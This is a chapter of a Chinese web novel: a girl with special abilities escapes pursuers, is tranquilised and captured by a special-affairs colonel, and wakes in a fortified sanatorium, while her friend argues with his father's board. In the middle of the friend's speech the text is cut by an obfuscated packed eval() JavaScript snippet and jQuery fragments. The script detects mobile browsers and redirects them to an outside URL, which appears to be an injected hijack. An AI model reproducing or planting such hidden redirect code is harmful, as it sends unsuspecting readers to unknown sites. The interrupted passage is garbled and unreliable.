虽然脚踝有挫伤，但宋英姿逃跑的速度很快，她的体重比一般人要轻，在黑暗里穿梭的时候像极了灵巧的猫。


    仅仅是几秒的时间，她已经站在刚才人影的位置。


    宋英姿只是眨了一下眼睛，那个人不见了。


    “走的真快。”


    没时间思考他是谁，宋英姿随便挑了个顺眼的方向，一头扎了进去。


    深夜静悄悄地，身后追逐的声音渐渐消失，宋英姿摆脱了追杀。


    连着狂奔半小时腰腹变得酸痛，她蹲在熄灯的墙边喘气。


    24小时便利店亮着微光，但她不敢过去，风声鹤唳 ，有光的地方就有人，她现在，是个见不得光的人。


    凌晨三点的街，安静的瘆人。


    忽然，电子铃声突兀响起，宋英姿悚然一惊，第一反应是去看光线昏暗到像是有虚影在动的便利店。


    没人。


    铃声还在响，她才想起翻窗前揣了手机。宋英姿呼出一口气，接起了电话。


    “英姿，你快找个地方躲起来，我爸找了人来抓你，我已经在路上了，你别害怕！”


    手机另一端方嘉明的声音很急促，甚至还有呼啸的风声，他大概超速了。


    “我已经跑了，你爸派来的人受了伤，也有可能死了，你自己决定要不要报警。”


    “什么？”


    “你开慢点，我现在很安全，不用管我。”


    她不想让方嘉明看见厌恶她的人里，还有无辜的体力劳动者。


    挂了电话，宋英姿觉得应该再跑远点，万一警察吃饱了没事干，顺便把她抓了怎么办？


    可迈出一步后，她愣在了原地。


    她又能去哪里呢？


    十年没有离开除家和观察站以外的地方，唯二的朋友是方嘉明和去世的大咪，她猛然惊觉自己根本不了解这个社会，她脱轨了。


    宋英姿有些气馁，此刻她希望人影攒动的便利店真有人，起码她能捂着脸上去问路。


    等等…..人影攒动？


    便利店好像真的有人！


    宋英姿眼睛眨也不眨地盯着便利店，货架后面有人的脑袋在动，然后连人带头走到了门口，和她对视。


    这是…..抓走她父母的蓝色高领制服长官！


    这比追杀她的人恐怖多了！


    宋英姿转身想跑，但是来不及了，她听见了砰的一声，然后左肩的皮肤被刺穿了。


    眩晕的感觉立马涌上身体，宋英姿坚持了两秒，晃晃悠悠倒在了地上。


    闭眼前看到的最后景象是一双军靴。


    “堂堂特调处上校公然向小姑娘开枪，贵司的做派真是威风。”


    又有一个人出现在门口，他戴着墨色雕花口罩，露出高挺的眉峰，光线在他轮廓分明的脸上留下大片阴影。


    他抱着几块面包凑热闹，站立的姿态有些散漫。


    陆时衍并没有在意那人的嘲讽，他弯腰捞起宋英姿，像是淘到一副稀奇玩意儿，仔细地打量宋英姿因常年不见天日而异常白皙的脸，“她可不是一般小姑娘，和你一样，是能力者。”


    后排车座塞满了速食宵夜，宋英姿委屈地睡在零食堆里，陆时衍手指一下一下点着方向盘，SUV坚固的车身几番晃动，他的表情慢慢从悠闲变得不耐烦。


    “顾鹤，你要把便利店塞进我车里才满意？”


    顾鹤第三次往返囤货时，手中又多了两大包牛肉干，他费劲地关上副驾驶车门，把实在没地放的牛肉干扔到了陆时衍腿上，“你们这些上级领导饭来张口，哪懂我们这些朝不保夕的打工仔生活苦，千里迢迢赶过来你不包饭，兄弟伙们饿死了怎么办，谁给你卖命？”


    陆时衍懒得搭理他，汽车启动后一脚踩死了油门。


    剧烈的推背感将顾鹤拍进了座椅，他咬牙：“成年人能不能稳重一点！”


    方嘉明赶到现场时，聚众斗殴的人已经散场，拐角的地面留下斑斑血迹，从出血量来看这人伤得不轻。


    四下寂静无声，只有他急促的呼吸在静色里无比清晰，方嘉明的心跳得厉害，脑海中不断回响着宋英姿刚才的话——“你爸派来的人受了伤，也有可能死了。”


    这是英姿做的吗？


    他不敢想象如果宋英姿真的杀了人，特调处一定会干涉，她的处境只会更艰难。


    “您拨打的用户已关机。”


    从刚才挂断电话到现在只过去了十分钟，宋英姿的电话彻底关机了。


    方嘉明脸上露出少见的焦虑神色，宋英姿的手机一向是24小时开机的，除非……她遇到了什么意外。


    来抓人的是自己亲爹的手下，受伤的又和宋英姿脱不了干系，方嘉明根本不敢报警，他只能祈求大家都平安无事。


    或许宋英姿逃得匆忙摔坏了手机，又或许她找到可以藏身的地方，主动关机......方嘉明强迫自己冷静下来。


    他从家里冲出来时，方总的车已经驶出了大门。他必须尽快找到父亲，如果宋英姿真的落入了父亲手中，他无论如何也要想办法保证她的安全。


    市中心启明集团灯火通明，行政大楼高层办公室罕见地亮着光，在64层高耸入夜的穹苍下像极了辰星。方嘉明进入会议室最先看见的不是父亲，而是站在父亲身边做报告的黑衣人衣服上暗色的血迹。


    “伤亡人员已经送医院抢救，暂无大碍。”方青雄只是瞥了一眼就猜透他的想法，这个儿子向来优柔寡断，生出不该有的善良，说不清这是方家的福气还是祸患。


    方青雄叹了口气，“嘉明，你出现在这的理由是什么？别告诉我是为了个小丫头。”


    会议长桌两侧的公司骨干几乎全员到齐，此时他们的视线如有实质齐齐望向了方嘉明，平日里这些不严而厉的高层领导仅凭一个眼神，就能吓死一个牛马，现在他们严酷到审视的目光长久地落到方嘉明身上，就像是天花板突然掉下来，悬在人的头顶，只要多吸一口气就有被掩埋的可能。


    方嘉明努力挺直脊背，用那双湿润的眼睛直视长桌尽头的人，他没有叫他爸爸，而是用虔诚的语气说：“董事长，启明集团建立于二十年前，用了两年时间从廉价出租屋一路辗转到双层办公楼，又用了十八年蜕变成如今的上市公司，启明的招牌还是各位领导们亲手装的。”


    他的声音略微提高，带着一丝警示：“二十年足够启明发展，也足够启明坍塌，集团能有今天，离不开功臣的努力，也离不开合作伙伴宋氏的支持。宋家的实验室到底进过多少人，连我这个无知小儿都了解些许，上面的人又怎么可能不清楚？”


    “我知道我不够资格站在这里发表意见，我只能.....”方嘉明低下头，语气变得有些沉重，“只能仗着董事长儿子的身份，厚着脸皮请求三思而后行，我们不能因为一些出格的因素葬送启明的未来。于情宋家与方家是世交，落进下石或者推卸责任有违道义；于理宋家虽没落但是根深蒂固，如果事情真相大白或者宋家留有后手，那启明好不容易建立的形象可能坍塌。宋英姿备受社会关注，我们与她牵扯越深才越危险。”


    方嘉明说的很委婉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037392|162280||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，实验开展的过程大家历历在目，宋英姿不能死在他们手上，如果宋氏集团还有后续，那拉出来承担罪责的只能是启明。


    长桌两侧的高层用眼神交流保持沉默，会议室里的气氛凝重，片刻后，他们不约而同看向掌权者。


    方青雄没有说话静静打量着这个不知天高地厚的儿子，他不仅暗中找人调查自己，还敢公然在高层内部说些一旦泄露启明就会上头条的胡话，他应该苛责并大骂“滚回家”，但是方青雄忍住了，他好像看见方嘉明背后有一条不一样的路。


    “同宋家划清界限的不止启明，也包括你，”方青雄缓缓开口：“你有疑问是正常的，疑问得不到解决也是正常的，我做的每一个决定都是为了启明的未来。就像你说的人外有人，如果我真的做了不可扭转的事，凭什么我还能坐在这个位置上？”


    方嘉明沉默，他注视着父亲无波无澜的眼睛，好像在分析他的话有几分真实。


    “不过这些都不重要了，以后宋英姿不会再和我们有关系。”


    这是什么意思？


    “抓走她的人不是我，是特调处，以后她归特调处管辖。”


    ！


    宋英姿醒来时，是在一家与世隔绝的私人疗养院。铜墙铁壁，这是她看见窗外建筑的第一反应，外墙呈现出一种冷硬的银灰色，肉眼可见的地方装满了监控，地板由特制的金属构成，连窗户装的都是防弹玻璃.......


    “宋小姐，你总算醒了。上校下手没个轻重，入体的麻醉剂量较大，还以为你要再睡一天。”


    宋英姿转头，看见病房门口站着一位身穿白大褂的年轻女医生，她的胸前别着一枚金色徽章，上面刻着“特级医疗顾问”的字样，“我是许云，是你的专属医疗顾问。”


    她有点懵，什么情况啊，方青雄涉足医院了？


    “我没有名单，你们抓我也没用。”


    “这里是为国家做出特殊贡献的功臣提供疗养的地方。”许云笑着解释，“你能住进来，是特调处的特别安排。”


    宋英姿顺着她的话接，“那你们搞错了，我不是功臣。”


    “但是你可以做特殊贡献。”


    熟悉到宋英姿一听就会爬满鸡皮疙瘩的恐怖声音自许云背后响起，她最讨厌的脸出现了。


    陆时衍走进来，手里还拿着一把形似加特林的小型器械，每根透明储存管里装满了不同颜色的液体，这些液体随着陆时衍起伏的胸膛晃动，宋英姿甚至能看见融合在液体间类似水银发光的物质。


    “你要干嘛？”


    宋英姿颤抖着声音，猛地跳下床，她迅速跑向窗户翻上去，想也没想闭眼就往下面跳。


    摔在烂泥的剧痛没有发生，耳边也没有高空坠落的风声，但她的脚尖是悬在空中的！


    宋英姿睁开眼，这里是一楼空地，空地上唯一的障碍物是站在她面前提溜着她双肩的陌生男人。


    就像她高举大咪一样，男人也高举着她。


    她还没来得及挣扎，就听见房间内陆时衍冷漠无情的声音：“顾鹤，把她扔进来。”


    “求你了，放开我！”宋英姿快哭了，她看向顾鹤的眼睛充满了祈求，放在平时任谁见了她这副可怜巴巴的乖巧模样，都会于心不忍，但顾鹤可不是那些个谁，他也是个冷漠无情的人。


    顾鹤和她处在同一高度，面对面，于是宋英姿清楚看见他脸上不怀好意的微笑。


    像拎猫一样，顾鹤原地转了个方向，将她从窗外移进了窗内。


    啪！


    他松了手。